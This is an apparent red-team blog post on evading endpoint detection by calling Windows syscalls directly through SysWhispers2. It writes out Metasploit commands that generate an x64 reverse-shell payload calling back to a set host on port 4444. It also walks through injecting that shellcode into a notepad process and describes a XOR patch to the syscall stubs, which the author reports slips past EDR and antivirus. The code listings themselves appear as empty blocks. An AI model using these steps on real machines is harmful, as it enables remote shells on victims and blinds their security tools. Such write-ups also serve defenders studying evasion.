Disclaimer
I started working on this post some time ago, and the new research/stuff was announced in between. I will not address SysWhispers3, very recent technique of Resolving SSN using Exception Directory and many others.
The problematic EDRs
The following post will cover SysWhispers2 along with brief discussion of problems the tool is meant to address.
Modern workstations are likely to be running multiple security solutions. Such security-in-depth approach is one of the core concepts implemented in mature environments. Assuming that attacker already gained remote access to the system, have bypassed any whitelisting, but has not yet elevated privileges – what are attacker’s next steps? This is very interesting question, the recent twitter discussion started by @HackingLZ shows that many red teamers will simply jump elsewhere (i.e. typically servers where security solutions are absent), but others will try to achieve persistency on local station or elevate privileges to dump credentials. Of course, any offensive action will be analyzed by the EDR, reported to SIEM and may trigger unwanted alerts. To simply disable or fully blind EDR, attacker would likely need local admin privileges. So, do we elevate privileges to disable EDR or disable EDR to elevate privileges? :)
We’re going to cover a bit simpler situation where only single process should evade EDR detection, but the rest still applies. Whatever we decide to run, it’s probably going to create new process / thread - operation that is hooked and observed by majority of EDRs. Any changes to memory page protection bits, writing new data, and calling the code are even more likely to be hooked. The hooks may be created on multiple levels - the very basic API, the more specialized API, or the undocumented API (most likely as it is where transition to kernel mode actually happens). Hooks may be easy to spot and remove (i.e. jmp 12345678
at the begining of standard API stub), or much harder (i.e. our memory view is completely faked as in this case). Whichever it is, we still need to somehow edit the memory, but the actuall API to do that is also hooked. Argh!
This is where syscalls come for the rescue. Instead of using the hooked API, we can prepare CPU registers and call the kernel transition manually (using syscall
opcode). Historically, the technique had major limitation - the arguments (numbers associated with the syscall) are undocumented and may change with every Windows release. The original SysWhispers supported --versions
option to generate syscalls’ stubs for different Windows releases. This technique was based on syscall table maintained by @j00ru. The obvious limitation of this approach is lack of support for future releases and having to maintain dedicated lists.
The next project - SyWhispers2 solved this by implementing sorting of syscalls by their addresses. The technique is described on MDSec blog but in summary:
- All Zw* stubs are discovered
- The naming is converted into Nt*
- Stubs are sorted by their address
- The order represents incrementing syscall ids
With an array of syscall numbers, attacker may implement arbitrary syscall routines for the ones that are needed. The EDR’s hooks obviously will not cover those.
Sample project
Before we even grab SysWhispers2, let’s implement basic project. I’m going to generate very simple shellcode using msfvenom. The simple reverse shell requires proper encryption / obfuscation prior to use as its easily detected by AVs. To generate it, one can start metasploit container as:
docker run --rm -it -v "${PWD}:/out" metasploitframework/metasploit-framework
, and then type following commands:
use payload/windows/x64/shell_reverse_tcp
setg LHOST 192.168.1.1
setg EXITFUNC thread
generate -f raw -o /out/shellcode.dat
This should generate simple reverse shell payload that is also easily detectable by any modern AV. To mitigate this, we need to encrypt it.
To implement the most basic thread injection, we need following pices:
- finding target (e.g. process of given name)
- loading shellcode (e.g. reading from file)
- decrypting the shellcode
- opening target process with approperiate access rights
- allocating new memory inside target process (e.g. via
VirtualAllocEx
) - writing shellcode into that memory (e.g. via
WriteProcessMemory
) - creating and starting remote thread (e.g. via
CreateRemoteThread
)
EDR would typically hook at least last 4 of the above steps if not all of them. If payload is properly handled, the AV should not alert.
The above points are implemented using following code (C++17):
|
|
If any running notepad instance is found (and there is no EDR obviously), you should receive new revshell connection on port 4444.
Because we’re not trying to evade anything, there’s also thread that stands out when probed with Process Hacker and memory region where one could see decrypted shellcode bytes:
SysWhispers2
The above code works fine. But if you enable EDR - it will detect, block, and report. Not cool.
So, let’s try to solve this problem with SysWhispers2. Let’s replace the Inject()
code with code that uses unhooked Nt* variants. First, we need to generate header, c file and asm file, as described on Github page. Once done and VS project is reconfigured, we end up with following implementation:
|
|
The standard function calls were replaced with calls to wrapped NT* calls. Their definitions are in generated asm file. For instance, the NtCreateThreadEx is defined as:
|
|
The magic number representing hash will be different on your system. It’s a random value generated along with files. Let’s give it a try.
The message you will likely see is that VIRUS HAS BEEN DETECTED. Oh no. The problem we’re seeing is that syscall
opcode is being detected and flagged as malicious. It is extremely unlikely to ever need this in user-code, hence the alert. What is normal for trusted Microsoft DLLs, is not normal for user code. The same problem has been described by Capt. Meelo blogpost. The suggested solution was to rename the syscall
to int 2Eh
1 opcode which is functionally the same. Spoiler alert: it doesn’t work anymore.
There are different tricks - e.g. egghunting for syscall
opcode - that are elegant and working, but I wanted to show something simpler.
Patching SysWhispers2
While trying to understand if it’s really the mere presence of syscall
opcode or something more advanced, I discovered that a bit more is verified. syscall
is really two bytes instruction, so likely it wouldn’t be very beneficial to treat any software that ships with 0x0f 0x05
anywhere in the code as malicious. This is a good news - it means all we have to do is to make the code flow harder to process for EDR/AV.
Initially, I’ve tried to implement something advanced, but soon realized that even simplest flow modifications are sufficient. Hence, my final patch to SysWhispers2 is:
|
|
The base.c
does not return syscall number anymore. Instead value XOR’ed with arbitrary number 11. Each asm routine has to XOR again to undo the operation and get original syscall number. That’s it. With this little patch - we can keep whispering the syscalls.
Recompiled application will not trigger any EDR or AV alerts (at least on my setup).
What’s next?
The described patch simply bypasses existing signatures. Obvious improvement would be to use random XOR operand, add more math operations, etc. The real problem is different - is syscall originates from user-code, then EDR can detected this afterwords by using Hooking Nirvana techniques and registering additional callbacks via PspSetCreateProcessNotifyRoutine
.
If EDR comes with kernel-driver, the only option to fully bypass it would be to also have code running in kernel-mode context. This doesn’t mean we can’t win here and there, or use different tricks to disable the driver.
Hope you liked the post!
-
There is an interesting Twitter discussion on what
int 2eh
really is and how it’s related to VMX: https://twitter.com/Liran_Alon/status/967540990901923840 ↩︎